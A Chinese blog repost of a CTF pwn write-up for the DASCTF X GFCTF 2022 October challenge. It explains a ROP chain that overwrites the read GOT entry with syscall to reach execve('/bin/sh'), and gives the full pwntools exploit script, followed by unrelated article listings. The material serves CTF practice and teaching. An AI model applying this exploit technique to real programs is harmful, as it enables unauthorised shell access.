DASCTF X GFCTF 2022十月挑战赛 - pwn

news2024/12/21 16:55:05

DASCTF X GFCTF 2022十月挑战赛 - pwn

简单题,自己做了一下发现要比官方wp思路麻烦一点,所以这里就用官方wp的思路
在这里插入图片描述
高版本编译出来的,所以没有csu这种万能的gadget,果断看一下汇编
在这里插入图片描述
看完之后仔细思考了一下发现这里完全可以使用上面这些gadgets。
仔细看一下会发现可以控制rax,40116D 8B 44 24 0C mov eax, dword ptr [rsp+18h+buf]这里的地方,并且最后还可以控制ret
还有地方:40115A 48 89 C6 mov rsi, rax这里又可以通过rax来控制rsi
所以思路很好想出来,首先可以利用rax来控制rsi进行read任意写,再利用rax控制rsi到read_got这里进行任意地址写,写成syscall
在这里插入图片描述
这里笔者直接在本地做的就直接打本地了,远程需要爆破一下最后的这个字节
这样的话再调用read的时候就会调用syscall了
这个时候我们把rax设置成0x3b也就是execve,控制rdi为bin_sh,把rsi和rdx置为0,最后直接调用read就可以getshell了
但是程序里没有可以直接控制rdi的,所以我们rop gadget看一下
在这里插入图片描述
发现了这一个gadget,而404018正好是bss的地址,可读可写,所以我们可以利用上面第一次的任意地址写将bss这里的地址写成bin_sh
rdx在read上面时会被赋值为dword ptr [rsp+18h+buf],所以在写got表的时候将这里设置成指向0的地址即可

from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 29736)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

r.send(p32(0x100))

bss_addr = 0x404018

# mov     eax, dword ptr [rsp+18h+buf]; add     rsp, 18h; retn
mov_rax_rsp_add_rsp = 0x40116D

call_read = 0x40115A

mov_rdi_404018_jump_rax = 0x0000000000401099

read_got = elf.got['read']

ret = 0x401175

lea_rsi = 0x401141

p1 = b'a' * 0x10 + p64(mov_rax_rsp_add_rsp) + p64(0) + p32(0) + p32(bss_addr) + p64(0) + p64(call_read)
p1 += p64(0) + p32(0) + p32(read_got) + p64(0) + p64(call_read)
p1 += p64(0) + p32(0) + p32(bss_addr + 8) + p64(0) + p64(mov_rax_rsp_add_rsp)

p1 += p64(0) + p32(0) + p32(ret) + p64(0) + p64(mov_rdi_404018_jump_rax)
p1 += p64(mov_rax_rsp_add_rsp) + p64(0) + p32(0) + p32(0x3b) + p64(0) + p64(lea_rsi)
p1 += p64(0) + p32(0) + p32(0) + p64(0)

r.send(p1)

r.send('/bin/sh\x00')
r.send('\x60')

r.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1448.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

案例篇:Python爬虫的多重领域使用

大家好呀! 相信大家早有体会,大数据时代已到,数据的获取和分析已被应用于各行各业,在诸多领域承担着重要决策的作用,如互联网就业选择。 Python爬虫作为最好的数据采集技术,市场对它需求一直在增涨&#xf…

vue3-tauri-chat:基于tauri聊天实例|tauri仿微信客户端

Vue3.jsTauri桌面端聊天实例|tauri仿微信/QQ聊天TauriChat。 基于taurivite3.xvue3element-plus等技术开发客户端仿微信/QQ聊天实战案例。实现发送消息、预览图片/视频/网址链接、拖拽/粘贴发送图片、朋友圈等功能。 使用技术 编辑器:VScode使用技术:ta…

【C++笔试强训】第十五天

🎇C笔试强训 博客主页:一起去看日落吗分享博主的C刷题日常,大家一起学习博主的能力有限,出现错误希望大家不吝赐教分享给大家一句我很喜欢的话:夜色难免微凉,前方必有曙光 🌞。 💦&a…

C++模板

目录 ​一、认识模板 1.什么是模板 2.模板的分类 二、函数模板 1.泛型和函数模板 2.函数模板的格式 三、类模板 四、实例化 1.隐式实例化 2.显式实例化 3.隐式类型转换 4.模板参数的匹配原则 一、认识模板 1.什么是模板 模板(Template)指C…

Java笔记(十一)

文献种类:专题技术总结文献 开发工具与关键技术: IntelliJ IDEA、Java 语言 作者: 方建恒 年级: 2020 撰写时间: 2022 年 10 月 28 日 Java笔记(十一) 今天我给大家继续分享一下我的Java笔记, 我们来了解…

CTFHub | 报错注入

0x00 前言 CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。 0x01 题目描述…

第二站:分支与循环(第二幕)

目录 三、循环 1.while循环 (1)基本原理与用法 (2)break在while循环中的作用 (3)continue在while循环中的作用 (4)一图总结while循环 2.for循环 (1)基…

[SpringBoot] 多模块统一返回格式带分页信息

✨✨个人主页:沫洺的主页 📚📚系列专栏: 📖 JavaWeb专栏📖 JavaSE专栏 📖 Java基础专栏📖vue3专栏 📖MyBatis专栏📖Spring专栏📖SpringMVC专栏📖SpringBoot专…

算法刷题路线总结与相关资料分享

算法刷题路线总结与相关资料分享前言一、算法刷题路线总结二、算法题刷题步骤三、基础数据结构与算法知识1、时间复杂度2、空间复杂度3、线性表4、栈与队列5、树四、算法学习相关资料推荐1.数据结构与算法基础2.专项刷题路线资料3.算法课程视频资料后记前言 本文为算法刷题路线…

双十一数码产品哪些值得买?双十一好物产品分享

双十一必然是数码产品最值得买的,因为这类产品的优惠力度往往是最大的,所以每年的双十一都是升级数码设备的好时机,今天为大家带来的是便是个人推荐的双十一数码好物。好了,废话不再多说,我们开车吧。 一、不伤耳的骨…

postman 实用教程(含带 token 访问需登录权限的接口)

下载安装 Postman 访问官网下载安装 Postman https://www.postman.com/downloads/?utm_sourcepostman-home 新建文档 右键菜单可以重命名 新建接口 选择接口类型输入接口若传入参数格式为 json ,则选择 Body 中的 raw 和 JSON输入传入的参数(json格式&a…

计算机网络--数据链路层

今天来讲网络协议栈的最后一层,数据链路层(物理层我们不考虑了),我们之前学到,TCP协议提供了数据传输的可靠性,IP层决定数据报从哪到哪,那么数据报是如何从一个结点到下一个结点呢?得到相应如何返回呢&…

(02)Cartographer源码无死角解析-(09) gflags与glog简介、及其main函数讲解

本人讲解关于slam一系列文章汇总链接:史上最全slam从零开始,针对于本栏目讲解(02)Cartographer源码无死角解析-接如下: (02)Cartographer源码无死角解析- (00)目录_最新无死角讲解:https://blog.csdn.net/weixin_43013761/article/details/127350885 文…

软件工程结构化设计

目录 结构化分析与结构化设计的关系: 体系结构设计概念: 图形工具: 层次图:调用关系​编辑 HIPO图:层次图IPO图 软件结构图: 软件设计原则: 模块化: 模块划分注意事项&#xf…

巴什博弈——范围拿物品问题

巴什博弈 巴什博弈(Bash game) 是一个双人博弈:有一堆总数为n的物品,2名玩家轮流从中拿取物品。每次至少拿1件,至多拿m件,不能不拿,最终将物品拿完者获胜。 巴什博弈除了两人轮流按一定数量拿物…

【黄啊码】MySQL入门—14、细说数据库的MVCC机制

大家好,我是黄啊码。上一篇文章中,我们讲到了锁的划分,以及乐观锁和悲观锁的思想。今天我们就来看下 MVCC,它就是采用乐观锁思想的一种方式。那么它到底有什么用呢? 我们知道事务有 4 个隔离级别,以及可能…

共谋韬略、共巢未来,电巢与韬略“战略合作签约仪式”圆满举办!

前言 2022年10月27日下午,电巢科技与韬略科技齐聚深圳南山,共同举办了隆重的战略合作签约仪式,双方就整合核心资源、共同打造高质量数字化内容等战略方针达成了一致,携手开启合作新篇章。 电巢科技和韬略科技基于相契合的发展战略…

Numpy基础教程

1 Numpy 对象2 Numpy创建numpy.array 构造器来创建numpy.emptynumpy.zerosnumpy.onesnumpy.arangeNumpy索引3 Numpy常用操作numpy.reshapenumpy.reshape(arr,newshape,order C)numpy.transposenumpy.expand_dimsnumpy.squeezeNumpy功能十分强大的python扩展库,数学…

基于Java+Springboot+Vue+elememt美食论坛平台设计实现

博主介绍:✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取联系🍅精彩专栏推荐订阅👇&#x1f…

07-树(Tree)结构分析

文章目录树(Tree)结构分析什么是树?树中的相关名词如何理解?什么是二叉树?什么是二叉搜索树?什么是AVL树?什么是2-3树?什么是红黑树?总结(Summary)树(Tree)结构分析 什么…